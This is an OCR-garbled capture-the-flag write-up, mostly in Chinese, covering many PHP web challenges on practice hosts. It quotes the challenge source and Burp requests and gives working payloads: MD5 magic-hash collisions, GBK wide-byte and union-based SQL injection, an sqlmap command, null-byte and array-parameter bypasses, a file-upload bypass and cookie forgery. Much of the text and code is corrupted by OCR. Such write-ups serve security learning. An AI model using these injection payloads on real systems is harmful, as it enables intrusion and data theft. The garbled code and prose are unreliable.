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2.md5 collision

Bt b H 45 IR A md51 = md5('QNKCDZO));
$a = @$_GET[aT;

$md52 = @md5($a);

if(isset($a))

if ($a !='QNKCDZO' && $md51 == $md52) {
€ChO "NGH{F*****rsrrskrsssy

}else {

echo "false!!l";

1

else{echo "please input a";}
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[Target T Proxy T Spider I Scanner T Intruder TRepeater T Sequencer I Decoder T Comparer [ Extender T Project options T User options TAIer‘Ls ]

[1 ]2 ]3Ja <]5 6~ [ma] -]

Go Cancel < | > |

Request

JRaw T Params T Headers I Hex }

Target: http:/ichinalover.sinaapp.com @J ?

Response

J Raw T Headers I Hex I HTML T Render }

GET fwehadsearch key.phleTTPHl.l i
Host: chinalover.sinaapp.com -
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

User—-Agent: Mozilla/5.0 (Windows NT 10.0;
AppleWeb¥it/537.36 (KHTML, like Gecko)
Chrome/£3.0.3235.132 Safari/537.36
Aocept:

text/htwl, application/xhtml+xml, application/xml; gq=0.9, im
age/webkp, image/apny, */ *:q=0.8

Aocept-Language: zh-CH, zh;qg=0.89

Cookie:

_ guid=Z53216347.42146362955907260000.1567419995780.78;
monitor count=71

Connection: close

WOowWe4)

e
v
EJ EJ EJ lZJ Type a search term 0 matches
Done
8.php decode

Z 4 KA 0 <?php

function CLs|($ZzvSWE) {

$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$Z2vSWE[S] = chr(ord($ZzvSWE[SI]) - 1);

}

return $ZzvSWE;

}

HTTF/1l.l1 200 OK "
Server: nginx P
Date: Mon, 02 Sep 2018 12:07:54 GUT
Content-Type: text/html
Connection: close
Via: 10080
Content-Length: 100
<script>winduw.lncatiun=“./nu_key_is_here_forever.php”;
</scripts
key is : nctf{yougotit_ script now}
e
|
? < + = Type a search term 0 matches

248 bytes | 71 millis

eval(CLs|("+7DnQGFmYVZ+eoGmig0fd3puloZ1fkppek1GdVZhQnJSSZg5aUImGNQBAA=="));

?>

REBEEAREE HRETEE, fEevaldivecho, #F2lflag

phpinfo(); flag:nctf{gzip base64 hhhhhh}
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[Target T Proxy T Spider T Scanner T Intruder ~[Rep(-.\at(-w T Sequencer I Decoder T Comparer T Extender T Project options I User options IA'EI’T.S ]

[1XT2x13XT4xT5xIEXT?xT8xm

Go Cancel < [v > Follow redirection

Request

J RawT Params T Headers I Hex ]

Target: http:/ichinalover.sinaapp.com | ¢ ?

Response

J Raw | Headers | Hex |

GET Hwebgqindex.phleTTPIL.l A
Host: chinalover.slinaapp.com -

Cache-Control: max—age=0
Upgrade-Insecure-Redquests: 1

User—-Agent: Mozilla/5.0 (Windows NT 10.0;
AppleWeb¥it/537.36 (EHTHML, like Gecko)
Chroms/€3.0.3239.132 Safari/537.3€
Acocept:

text/html, application/xhtml+xml, application/xml; gq=0.9, im
age/webp, image/apng, */ *;q=0.8

Aeeept-Language: zh-CH, zh;qgq=0.9

Cookie:

_ guid=253216347.4IZ14636255507260000.156741959595780.7¢6;
monitor_count=75
Ift-NModified-Since:
Connection: close

WOWE4)

Tue, 23 Apr 2015 Z0:1Z:09 GHT

v
| EJ EJ EJ EJ Type a search term 0 matches
Dane
11.COOKIE

burpiltfa, & Icookie:Login=0 X A1, B Fflag

HTTP/1.1 302 Found

Server: nginx

Date: Mon, 02 Sep 2019 12:33:10 GMT

Content-Type: text/html

Content-Length: O

Connection: close

flag: netf{this is 302 redirectl

Location: o -
http://chinalover.sinaapp.com/wvebh8/no key is here forev
er.php - -7 -
Via: 1001&7

@) & E G e

e

e
¥

0 matches

257 bytes | 83 millis



Bl Burp suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fosec.vn - a X
Burp Intruder Repeater Window Help
[Target T Proxy T Spider [ Scanner T Intruder T Repeater T Sequencer [ Decoder I Comparer T Extender I Project options T User options IAIerts 1
(123 -[ax]5]6<[7]8~[o ][]
Go Cancel < |v > | Target: hitp://chinalover.sinaapp.com | || 7
Request Response
J Raw T Params T Headers [ Hex ] J RawI Headers [ Hex 1
GET /wehl0/ index.php HTTP/1.1 A HTTF/L1l.1 200 OK A
Aoeept: text/html, application/xhtml4xml, image/Jxr, - Server: nginx P~
xfx Date: Mon, 02 Sep 2019 12:45:37 GHT
Loecept-Language: zh-CH Content-Type: text/html
User—Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4: Connection: close
Trident/7.0; rv:1l1l.0) like Gecko Via: 100L1e7
Host: chinalover.sinaapp.com Content-Length: 43
Pragma: no-cache
Cookie: Login=1 flag:nctf{cookie is different from session}
Connection: olose
= -
v v
? < + > Type a search term 0 matches ? < + > Type a search term 0 matches
Done 191 bytes | 112 millis

12.MYSQL
‘B UIEE —robots.txt, T & 15 i — T 53

Bl flagATEiRs BETNHMABRERT?
TECTFHEE S B HEEFMERERER

TIP:zql.php

<7php
if (3 GET[id]) |
myaql_cormect (SAE MPSIL_HOST M . 77 . S4E_WYSGL_PORT, SAE MV34L_USER, SAE_MVSQL_PASS)
my=zql_select_db (SAE_MVSGL_DE) ;
$id = imtwal($ GET[1d]):
fquery = @my=ql_fetch array mysql_gquery(“select content from ctf2 where id="$id "))
if ($_GET[1d]=1024) {
echo “<prmo! try againd/p>";
1

elsef
echo{fquery [content]) ;
!
}
"

AT —Fintval R HIER: REEERRESE, Bpik21.2=2132.5=32

WRHERR Vi Fsql.php, E#id=10248 R B4R, RAMEEENREEEREE, TR%EElagifE1024 81,
FHAintval &%, TRAAikid=1024.2, #5%lflag



F < D O ¥y & http://chinalover.sinaapp.com/web11/sql.php?id=1024.2
the flag is:nctf{query_in_mysql}

13.GBK Injection

XiE Fiflaghiiz 17, BANREEHflag

T

BB T REFTEN, TR %R

#| Forder by#IWr 12417, REEEER

select group_concat(schema_name) from information_schema.schemata

LN Tt T __ _ ]

&« ¢ o £ @ chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,(select%20group_concat(schem

o TP d \ 31
jfﬁxm—a*ma;ﬁ @ FriE mmRr @EEe. oo

— ARY 9 I // Beqin the animatl

your sql:select id title from news where id = '-1i&' union select 1,(select group concat(schema name) from information schema.schemata)-- '
infarmation_schema,sae-chinalover

SR G5 1B Rid=%df" union select 1,group_concat(table_name) from information_schema.tables where
table_schema=database()

)BT D »4 ® chinalover.sinaapp.com/SQl-GBK/index.php?id=-1%d%27%20union%20sele B2 eer gy fyle( this.elqp. Fys g & =
B @ R (O wAN ©) Rin QL

your sql:select id,title from news where id = '-1i&' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

ctf,ctf2,ctf3,ctf4,gbksqli,news

RIEBRTE, BARKRALZHAT 16 M MDA 1T
HE
Fsqlmapi#, W LA _Eunmagicquotes.pyfiids

glmap>python sqlmap. py —u “http://chinalover. sinaapp. com/SQL-GBK/index. php?id=1" —tampe

14./x00

i k45 tH B ARASIT (isset ($_GET['nctf])) {

if (@ereg ("41-9]+$", $_GET[nctf]) === FALSE)
echo "B NBUF A4 17"

else if (strpos ($_GET[nctf], #biubiubiu’) == FALSE)
die(Flag: '.$flag);

else

echo '"BR4E, 4KEE%5 /MM~

}

HiE—:



R HE AR ] AR B AGET 7 g A IS HInctf L JUAH T 3F H &/ E A& F 5 $#biubiubiu, WRREncttl
123#biubiubiutR#E phpd58 24 B 3 #4k 8123, Fr DUIX AR %008 WT, #41% ?nctf=123%00%23biubiubiu, #i4
Burlgmig %23, XEESGET AW RHE, NEEFFH

HE

MRENR—NHA, HaeregXREINULL, #A%TFFALSE, Frblgeid, strposHifth 2R ENULL, A
NULL!==FALSE

— — A el T aagv? R i3 T e

& 2> C Qi o @ teamxlc.sinaapp.com/web4/f5a1415e6e3453b78cd73899bad98d53/index.php?nctf[]=1
Ox goos 5 13 Te e . P
E‘E{Xﬂl{%ﬁ?«ﬁ;ﬁ © wErm PymEme @ muw ) e Toe 7 -

Warning: strpos() expects parameter 1 to be string, array given in web4/f5a14f5e6e3453b78cd73899bad98d53/index.php on line 10
Flag: flag:nctf{use 00 to jieduan}
15.bypass again
Bt 45 ARSI (isset($_GET['a) and isset($_GET['b1)) {
if (5_GET['a!=$_GET[b1)
if (md5($_GET['a"]) == md5($_GET['bT))
die('Flag: '.$flag);
else
print 'Wrong.";
}
EA—HERMISINE F—+, FIHphpsER, & A\mafbitiTmd5inEs 5 &R 2 0xIT k1

4 < O O Sy © http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=5155964671a

if (isset($_GET['a']) and isset($ GET['b])) {
if (5 GET['a']!'=$ GET['bT)

if (md5($_GET['a']) == md5($_GET['b'])
die('Flag: ".%flag);

else

print 'Wrong.';

}

Flag: nctf{php_is_so_cool}

16. R BE %

‘B4 T source.php, T 252 ¥EI<?php if ($_SERVER['REQUEST_METHOD"] == "POST") { ?>
extract($_POST);

if ($pass == $thepassword 123) { 7>

TR postiX FiMEMH F AT
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Encryption¥® | Encoding ¥

(& Load | 1 split | ' Run |
http://chinalover. sinaapp e u C S

. com/weh18/

nctf{bian_liang_fu_gail }

Enable Post data

pass=althepassword 123=a Password m

[IEnable Referer
source at /source.php

17 t 3k

¥33& X-Forwarded-Forst 4T
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Bl Burp Suite Professional v1.7.26

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner I Intruder I Repeater T Sequencer I Decoder T Comparer I Extender T Project options I User options IA'EI’T.S ]

j Intercept I HTTP histary [WehSt}ckets histary I Options 1

@J Request to http:/fteamxlc.sinaapp.com:80 [220.181.136.41]

l Forward J l Drop J { Intercept is on ] Action s ifem e ?
jRawT Params T Headers T Hex 1

POST /web5/21232f297a57a5a7438%4a0=4a801fc3/upload. php HTTE/L.1 |A
Host: teamxlo.sinaapp.com i
Content-Length: 120893 | ]

Cache-Control: max-age=0

Origin: http://teawxlc.sinaapp.com

Tpgrade-Insecure-Fequests: 1

User—-Agent: Mozilla/5.0 (Windows MNT L0.0; WOWE4) LppleWebKic/537.36 (KHTML, like Gecko) Chrome/£3.0.3235.132
Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIJSupFyR0aJPe7%9¢c

Aocept: text/html, application/xhtml+xml, application/xml;q=0.9, image/ webp, image/ apng, */ *;q=0.8
Beferer: http://teamxlc.sinaapp.com/weh5/21232£2597a57a%a743894a0e4a801fc3/ index. html
Loecept-Language: zh-CH, zh:qg=0.9

Cookie: _ guid=1305315978.14399504255568566500. 1567420585170.5505; monitor_count=17

Connection: close

—————— WebKitFormBoundaryIJSupFyR0aJPe729c
Content-Disposition: form-data; name="dic"

Content-Disposition: form-data; nams="file"; filename="I.jpg"
Content-Type: image/jpeg

O0000E:x 1£00 1 I *00000000000000000DuckyD000000A00000chttp: //ng. adoke. com/ xap/ 1. 0/0<?xpacket hegin="00"
1d="WSMOMpCehiHzreSzNTezke9d" 7> <x:xmpmeta xmlns:x="adobe:ns:meta/" w:xmptk="ALdobhe XWF Core 5.3-cOll E£.145661,
Zolz/02/06-14:56:27 "> <rdf:RDF mmlns:rdf="http://www.w3.org/l985/02/22-rdf-syntax-ns#"> <rdf:Description
rdf:about="" xmlns:xmpMM="http://ns.adobe.cow/=xap/ 1.0/ mm/"
xmlnz:stRef="http://ns.adobe.com/xap/Ll.0/3Type/ResourceRef#" xmlns:xwp="http://ns.adobe.com/=ap/L1.0/"

HpMM: CriginalDocument ID="xmp . did: C7EEFEIZ433EESLLIAS IDACDEODFDEOGA™

xmpMM: Document ID="xmp.did: DD4EEECFIFZ0L1ESABBIEZ858C L eé0aza"

xmopMM: Instance ID="xmp.1iid: DD4EEECESF2Z0L1IESABEZES859C1LE0920" xwp: CreatorTool="Adobs Photoshop C3E (Windows) ">
<HmpMM: DerivedFrom stRef:instanceID="xmp.iid: 2 1C428EE7S3EESLLAS IDACDEODFDE0O4A"

stRef:document ID="xmp.did: C7TEEFEZ2433EES511A3 IDACDEODFDE04A" /> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r" ?>0000Adck=0d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -
U L |

m liJ u u Type a search ferm 0 matches
BT EA%45 Blflag




Array ([0] == jpg [1] == jpg ) Upload: 2.jpg
Type: image/jpeg
Size: 117.69140625 Kb
Stored in: ./uploads/8a9e5f6a7a789ach.phparray(4) { ["dirname”]== string(9) "
HwE(FEREflag—H#L:
flag:nctf{welcome to hacks world}
19.8QLEA1
B b 45 YR ARAD
Secure Web Login
if($_POSTJ[user] && $ POST[pass]) {

mysql_connect(SAE_MYSQL_HOST_M. "'.
SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);

mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST(user]);

$pass = md5(trim($_POST[pass]));

$sql="select user from ctf where (user=""$user.") and (pw=""$pass.")";
echo ".$sql;

$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {

echo "

Logged in! flag:***++ssseesersses
}
f($queryluser] != "admin") {

echo("

You are not admin!

")
}

}

echo $query[user];

?>
Source

X B Bifis A) B R AW T user& 5 vadmin, E445 Tsqligf), FRMMAE— TG fEFEEadmin') #X#
WyEREE T 5 H M pwil o


file:///C:/Users/ADMINI~1.ZB-/AppData/Local/Temp/index.phps

Secure Web Login

Logged in! flag:nctf{ni_ye hui sqgl?}

admin
|U5ername | |........ | 5
Source

20.pass check

bt 25 i) ARES $pass=@$_POST[passT;
Ppassq=rrerwr 1355 K 58 S K i) %
if(isset($pass))

{

if(@!strcmp($pass,pass 1)K

echo "flag:nctf{*}";

else{

echo "the pass is wrong!";

}

lelse{

echo "please input pass!";

}

?>

FRITEEBLWRPOST M pass{E M & ipass1HHE M % Hiflag, strempeR BB FZFFH, R A E N
0, W strempH ELEIA BE N &R BINULL, TOFINULLYE b R AHEE, FrbAPOST—AM3d

(O Hackbar v x  flag:nctf{stremp is nOt 3afe}

Encryption¥ | Encoding ¥
=/ Load |JE Split | + Run |

http://chinalover. sinaapp
. com/web21/

~| Enable Post data
pass[]=1

214 7 H A
B L E 4 KBRS <2php



function noother_says_correct($number)
{

$one = ord('1");

$nine = ord('9");

for ($i = 0; $i < strlen($number); $i++)

{

$digit = ord($number{$i});

if ( ($digit >= $one) && ($digit <= $nine) )
{

return false;

}

}

return $number == '54975581388";

}

$flag="rrrrren:
if(noother_says_correct($_GET[key']))
echo $flag;

else

echo 'access denied';

?>

KB E BE SR R K /254975581388, EREG A NAREHT, TREEKIZH T 163 H] %5

54375581388
CCCCCcccc
B T8 0 _E OXIAE 25 key
’ < O 0O v © & http://chinalover.sinaapp.com/web12/index php?key=0x0xCCCCCCCCC

The flag is:nctf{follow your dream}

22 FHEE
BREEAP 4, RAAGBE, REKIurl BEHAMuser1=Y3RmAXNIcg==/& 1 -base64 & ¥, EELEMN

& ctfuser



EEANET Basetd RISEIEBEN=F
Y3RmdXNlcg==

5 Ooco) | 1508 |

Basebd SIEEERSIER:

ctfuser

F 2% adminitTbase644w L j5 i@ A Blurld, & J5F12& 508 BB SR N 2 vadmin, 15 Zlflag

4 > O O ¥ © http://nctf.nuptzj.cn/web13/index.php?user1 =YWRtaW4=
{REYMES . admin |

=G | ..... |

IIFES: 12341234 |

7 < O O Sy & http://nctf.nuptzj.cnfweb13/index.php?user1 =YWRtaW4=

flag is:nctf{reset password often _have vuln}

TR E : |ct'fuser |
WirES: 1234 |
EE

23.SQL Injection

F129 5] DAE 2R

XERRR T AR L, ik sE AL

X1 B R Zikusername=\, XfEsqliEA]H A& T name=\"\'' AND pass=\"

HAE AR XS 5| S A, BT LA Ausername=\&password=or 1=1 %23(#), FiREZIE &R

hr EsqliEf): name='AND pass="or 1=1 #(#1:%)

24 ZEE

TRk R I — KT jsfuck RS, BANEH & BT — TR —/MMR
1bc29b36f623bal82aafc724fd3b16718.php

TRGE—-T, #H. . .

F < D O Ty & http://teamxic.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623baB2aaf6724fd3b16718.php

IGRSIGISNaNaR L35, XBHAERE, TIPERNRE
FRIVLEFMR K, KIltip



‘ Bl Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fosec.vn - a X

o

Burp Intruder Repeater Window Help

[ Target T Proxy T Spider [ Scanner T Intruder T Repeater T Sequencer [ Decoder I Comparer T Extender I Project options T User options IAIerts 1
| [1 ¥ I3 b3 I-l‘l ¥ ‘[5 'S ﬁ
| Go Cancel < | > | Target: http:/fteamxlc.sinaapp.com @ @

| Request Response

j Raw T Params T Headers [ Hex ] J RawI Headers [ Hex [ HTML T Render }
|GET A HTTE/1.1 200 OK N
|/ wekh3/h0k0adl 19£425408€03d45253137d33d/ Lbe28h36fE23balla Server: nginx P
afte724fd3ibleTLE. php HTTESL.1 Date: Tue, 03 Sep 2019 1Z:04:2Z2 GHMT
Host: teamxlc.sinaapp.com Content-Type: text/html
Cache-Control: max-age=0 Connection: close
Upgrades-Insscure-FRegquests: 1 |tip: history of bash |
Uzser—-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) Wia: 1l0O014Z
LAppleWebhEit,/537.36 (KHTML, like Gecko) Content-Length: 1E5
Chroms/£3.0.3239. 132 Safari/537.36
Locept: <html>
text/html, application/xhtml+xml, application/“ml;q=0.9, im <meta http-squiv="Content-Type" content="text,/html;
age/webp, image/ apng, ¥/ *;q=0.8 charsec=UTF-2" />
Accept-Language: zh-CHN, zh;qg=0.9 <h1>0000000000000000000TIPO0000</ hl>
Cookie:
_ guid=130531978. l43595950429558596€6500. 1567420585170.9505
H monitor_count=30
Connection: close
|
- -
v v
| ? | | < | | + | | > | Type a search term 0 matches | ? | | < | | + | | = | Type a search ferm 0 matches

W 2 RS Anlinux R B L H &304 .bash_history, FRU5H—TF, 5ZIflaghk4st 4 T #4# & i 5flag

flag is:nctf{bash_history means what}

25.SQL¥EAN2
Bt b2 AR ADIf($_POST[user] && $_POST([pass]) {

mysql_connect(SAE_MYSQL_HOST_M. "'.
SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);

mysql_select_db(SAE_MYSQL_DB);

$user = $ POST][user];

$pass = md5($_POST[pass]);

$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user"));
if ($query[pw]) && (Istrcasecmp($pass, $query[pw]))) {

echo"

Logged in! Key: ntof{¥***x+*xrkriny

}



else {
echo("
Log in failure!

")
}

}

?>

XBEAREMEERERA PR ZERmdSE Z MBI E P IR ZEEASE, AP RARZERmdSERATRT
DAFE], T EE R R R R RATARE, BT A% RS SR B R &S, 2B tk$query, & H ¥

7 Funion , AtPluser="union select md5(1) # X $queryfE st Amd5(1), BAE R FERFELH N1, BRImd5E
LR B P A R B RS Squery — B T

Secure Web Login Il

Logged in! Key: ntcf{union_select is wtf}

[union select md5(1) # |- | 23

Source

Secure Web Login Il
Logged in! Key: ntcf{union select is wtf}

|Username || ........ | 5

Source

26. %M EE2
F127Ehead H R 2 & # 7 WK 46

<html:>
« ¥ <head> == $8

<meta charset="utf-3">
<meta http-equiv="X-UA-Compatible” content="I1E=edge,chrome=1">
<meta name="renderer” content="webkit">
<meta name="admin" cmtent=>
<meta name="editor” content="Vim":
<titlerlogic</titles

Fostyle type="text/css"r.</styles

</head:>

B {5 % N — M tokenifik

R ILEIEtoken ] /& submit.php 3C 44

7 < O 0O ¥y & httpy//nctf.nuptzj.cn/web14/submit.php?emailAddress=admin%40nuptzj.cn&token=11
fail

WIBIRR, FVigERITIF, REIFEFBE(FTLAH+2), R T —4.swp&43 X4, submit.phpi &4 i
#&.submit.php.swp(AE & T HATHA4.), ViE—T



IE
INRSTEEMI TR EERN diel)
HARELE

— EMEH user

CFEATE TAELE IF NOT EXISTS “user |
Tid” dnt(11) WOT MULL AUTO INCREMENT,
"username” warchar(255) NOT NILL,
“emzil” warchar (255) NOT HULL,
“token int (255) MOT NULL DEFAILT "1,
PRIMARY KEY ("id')
} EN-INE=MyISiM LEFAULT CHARSET=utf3 AUTO INCREMENT=2 ;

 EEEAEIE e

INSERT INTO “user ( id’, “username’, “email’, “token ) VALUES
(1, 7w O] D™ "ok SR A] D™ 00
*f

if (! empty (Stoken) & empty (femai 14ddress)) {
if{=trlen ($token) '=10) diel fail J;
1f ($token!="0") die( fail’);

$2ql = “SELECT cowrt(*) as rmum from user where tokers $token’ AND email= $emailiddress™;

$r = myaql_mueryi($zql) or die( db error’};
$r = my=ql_fetch associdr);
fr=$r[mm ],
it (frx00 {
echo $flag;
telzed
echo "M TOF";
I

KBtokent EEH10, HHMEZENO, TRME0000000000

B SHE R

email:

admin@nuptzj.cn

token:

0000000000

732

flag:nctf{thanks to cumt bxs}

27 file_get_contents
FI12EF 3| —HRY

T B #fileli B Aphp:\\input

R JEPOST & $imeizijiu, 75 %lflag



€ Hackbar v X  nctf{0b021b88527c69e5}

Encryption¥ | Encoding ¥
=/ Load | O split | ' Run |

http://chinalover. sinaapp
. com/web23/?file=php:
//input

Enable Post data
meizijiu
28 EEH
Bt b ARAD
XBARD R B R Kkey M EIENE RS, B valueMERESE
F & name=meizijiu233
4 < O O Yy & http://chinalover.sinaapp.com/web24/zname=meizijiu233

nctfi{AD3FBEDED5928693CA499347C91570AER}
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